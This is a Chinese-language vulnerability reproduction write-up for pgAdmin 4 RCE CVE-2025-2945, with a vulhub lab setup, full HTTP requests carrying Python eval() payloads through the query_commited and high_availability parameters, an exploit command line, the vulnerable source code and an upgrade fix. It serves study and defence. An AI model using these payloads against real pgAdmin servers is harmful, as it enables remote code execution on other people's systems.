pgAdmin4 <= 9.1_RCE(CVE-2025-2945)复现

简介

pgAdmin 是一个功能强大的开源管理工具,用于 PostgreSQL 数据库的开发和管理。它提供了直观的用户界面,使数据库管理员和开发人员能够轻松地执行常见任务,如创建和修改数据库对象、运行 SQL 查询、管理用户权限以及监控数据库性能。pgAdmin 支持多种操作系统,并且可以通过 Web 界面进行访问,方便用户在不同设备上进行管理操作。

pgAdmin 4(查询工具和云部署模块)存在远程代码执行安全漏洞。该漏洞涉及两个POST端点:/sqleditor/query_tool/download(其中query_commited参数)和/cloud/deploy端点(其中high_availability参数)被不安全地传递给Python eval()函数,导致可执行任意代码。此问题影响pgAdmin 4的9.2之前版本。

漏洞利用条件:

攻击者需要具备账号权限,并且 pgAdmin 以 server 模式 部署时,才能通过上述接口传递恶意代码。

借鉴:NVD - CVE-2025-2945

pgAdmin 远程代码执行漏洞(CVE-2025-2945) | CN-SEC 中文网

环境搭建

vulhub:pgAdmin4 9.1

bash 复制代码
cd vulhub/pgadmin/CVE-2025-2945
docker-compose up -d

访问:http://ip:5050

账户:vulhub@example.com:vulhub

数据库用户密码:vulhub:vulhub

复现

/sqleditor/query_tool/download

连接数据库

登录进去后连接数据库

抓包并拦截响应

返回的json

json 复制代码
{"success":1,"errormsg":"","info":"Server connected.","result":null,"data":{"sid":1,"did":16384,"icon":"icon-pg","connected":true,"server_type":"pg","replication_type":null,"type":"pg","version":170010,"db":"vulhub","user":{"id":10,"name":"vulhub","is_superuser":true,"can_create_role":true,"can_create_db":true,"can_signal_backend":false},"in_recovery":false,"wal_pause":false,"is_password_saved":false,"is_tunnel_password_saved":false,"is_kerberos_conn":false,"gss_authenticated":false}}

初始化SQL编辑器

得到 sid:1, did:16384, db:vulhub

可以初始化SQL编辑器,trans_id 可任意设置,这里设为 1234568

http 复制代码
POST /sqleditor/initialize/sqleditor/1234568/1/1/16384 HTTP/1.1
Host: 10.143.240.136:5050
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-pgA-CSRFToken: IjExN2VmZDkzMjUwOTZhODc3MWFhMjVjMTAzZGFiNTdiNmNlMjMzYzgi.agkzig.7C6YWx6YX1mCHnhihpAWzxnPsRw
Content-Length: 21
Origin: http://10.143.240.136:5050
Connection: keep-alive
Referer: http://10.143.240.136:5050/browser/
Cookie: pga4_session=f398255a-f285-4123-b6aa-9d03b3d70ebc!SFMNC4XmzoVG6h/STWcsckJvlncfX8BT9dZoRdpZpEc=; PGADMIN_LANGUAGE=en
Priority: u=0

{
    "user": "vulhub",
    "password": "vulhub",
    "role": "",
    "dbname": "vulhub"
}

返回包含"success":1的响应即可

attack

发送payload

http 复制代码
POST /sqleditor/query_tool/download/1234568 HTTP/1.1
Host: 10.143.240.136:5050
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-pgA-CSRFToken: IjExN2VmZDkzMjUwOTZhODc3MWFhMjVjMTAzZGFiNTdiNmNlMjMzYzgi.agkzig.7C6YWx6YX1mCHnhihpAWzxnPsRw
Content-Length: 77
Origin: http://10.143.240.136:5050
Connection: keep-alive
Referer: http://10.143.240.136:5050/browser/
Cookie: pga4_session=f398255a-f285-4123-b6aa-9d03b3d70ebc!SFMNC4XmzoVG6h/STWcsckJvlncfX8BT9dZoRdpZpEc=; PGADMIN_LANGUAGE=en
Priority: u=0

{
    "query_commited": "__import__('os').system('echo `whoami`>/tmp/w')"
}

返回500是由于返回非SQL内容导致的服务器错误,payload已经成功执行

EXP

vulhub自带了exp.py

bash 复制代码
python exp.py --target-url http://10.143.240.136:5050 --username vulhub@example.com --password vulhub --db-user vulhub --db-pass vulhub --db-name vulhub --payload "__import__('os').system('touch /tmp/success')"

手动

"server" - "database" - "vulhub" - "tools" - "query tool"

执行一个简单的sql语句

点击下载结果的时候开启抓包

发送到repeater,修改query_commited参数

进入docker中验证

/cloud/deploy

认证

为了方便复现,进入docker注释掉Google Cloud 认证部分,实际场景就当认证成功了

bash 复制代码
FILE="/usr/local/lib/python3.13/site-packages/pgadmin4/pgacloud/providers/google.py"
sed -i 's/credentials = self._get_credentials/#&/' $FILE
sed -i 's/service = discovery.build/#&/' $FILE
sed -i 's/credentials=credentials)/#&/' $FILE
FILE2="/usr/local/lib/python3.13/site-packages/pgadmin4/pgadmin/misc/cloud/google/__init__.py"
sed -i 's/google_obj = pickle.loads/#&/' $FILE2
sed -i "s/env\['GOOGLE_CREDENTIALS'\] = /#&/" $FILE2

重启docker

复制代码
docker restart DOCKER-ID

attack

登录进去后发送数据包

http 复制代码
POST /cloud/deploy HTTP/1.1
Host: 10.143.240.136:5050
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-type: application/json
X-pgA-CSRFToken: IjYwNmUzZGY3ZWQwNmExYmI5MWQyMDQ5NzJkYzU2MTJmNjAxNTI2MzAi.aglQGw.ErCQzsFQ5boyyDcXj2oG-bNMGQA
Referer: http://10.143.240.136:5050/browser/
Content-Length: 645
Origin: http://10.143.240.136:5050
Connection: keep-alive
Cookie: pga4_session=f398255a-f285-4123-b6aa-9d03b3d70ebc!SFMNC4XmzoVG6h/STWcsckJvlncfX8BT9dZoRdpZpEc=; PGADMIN_LANGUAGE=zh_Hans_CN
Priority: u=4

{
  "cloud": "google",
  "secret": {
    "gid": "1",
    "oid": null,
    "client_secret_file": "/tmp/test.json"
  },
  "instance_details": {
    "name": "test-instance",
    "project": "test-project",
    "region": "us-central1",
    "db_version": "POSTGRES_14",
    "instance_type": "db-f1-micro",
    "storage_type": "PD_SSD",
    "storage_size": 10,
    "public_ips": "0.0.0.0/0",
    "availability_zone": "us-central1-a",
    "secondary_availability_zone": "us-central1-b",
    "high_availability": "__import__('os').system('touch /tmp/root1')"
  },
  "db_details": {
    "gid": 1,
    "db_password": "test123"
  }
}

借鉴:pgAdmin 后台命令执行漏洞复现及分析(CVE-2025-2945) - FreeBuf网络安全行业门户

漏洞代码

源码:pgadmin-archive.postgresql.org/pgadmin4/v9...

对于路径/sqleditor/query_tool/download,主要漏洞代码出现在"pgAdmin4\pgadmin4-9.1\web\pgadmin\tools\sqleditor\__init__.py"中

python 复制代码
query_commited = data.get('query_commited', False)
        # Iterate through CombinedMultiDict to find query.
        for key, value in data.items():
            if key == 'query':
                sql = value
            if key == 'query_commited':
                query_commited = (
                    eval(value) if isinstance(value, str) else value
                )

同时这个参数是可控的

py 复制代码
data = request.values if request.values else request.get_json(silent=True)

如果"query_commited"的值是字符串,则eval()会将该值当作代码来执行,因此将构造一段恶意代码可完成RCE

对于路径/cloud/deploy,主要漏洞代码出现在"pgAdmin4\pgadmin4-9.1\web\pgacloud\providers\google.py"中

python 复制代码
def _create_google_postgresql_instance(self, args):
        credentials = self._get_credentials(self._scopes)
        service = discovery.build('sqladmin', 'v1beta4',
                                  credentials=credentials)
high_availability = \
            'REGIONAL' if eval(args.high_availability) else 'ZONAL'

且在同一文件中发现 high_availability是可控的,作为参数传进来的

py 复制代码
parser_create_instance.add_argument('--high-availability',
                                            default=False)

防御

将 pgAdmin 4 升级至 9.2 或更高版本

相关推荐
IT_陈寒17 分钟前
React状态更新总是不及时?你可能漏了这步批处理机制
前端·人工智能·后端
倔强的石头_1 小时前
KingbaseES 新版MySQL 兼容版体验:旧版迁移 + 功能实测
数据库
Jinkey1 小时前
要用户手机号真的是为了打骚扰电话吗?浅谈微信生态会员账号体系与资产合并
后端·微信·微信小程序
葫芦和十三1 小时前
图解 MongoDB 06|模式演进:无 schema 是优势还是债
后端·mongodb·agent
葫芦和十三9 小时前
图解 MongoDB 05|文档模型设计:内嵌 vs 引用,反范式不是免费午餐
后端·mongodb·agent
不能放弃治疗12 小时前
单 Agent 实现模式
后端
IT_陈寒14 小时前
Redis内存爆了,原来我漏掉了这个致命配置
前端·人工智能·后端
fliter15 小时前
最后一块拼图:用 bitvec 构造 IPv4 包,真正做出自己的 Ping
后端
fliter16 小时前
用 Rust 解析并生成 ICMP 包:checksum、nom 与 cookie-factory
后端
蝎子莱莱爱打怪16 小时前
XZLL-IM干货系列 03|消息 ID 设计:一个 UUID 搞不定的事,我用两个 ID 解决了
后端·面试·开源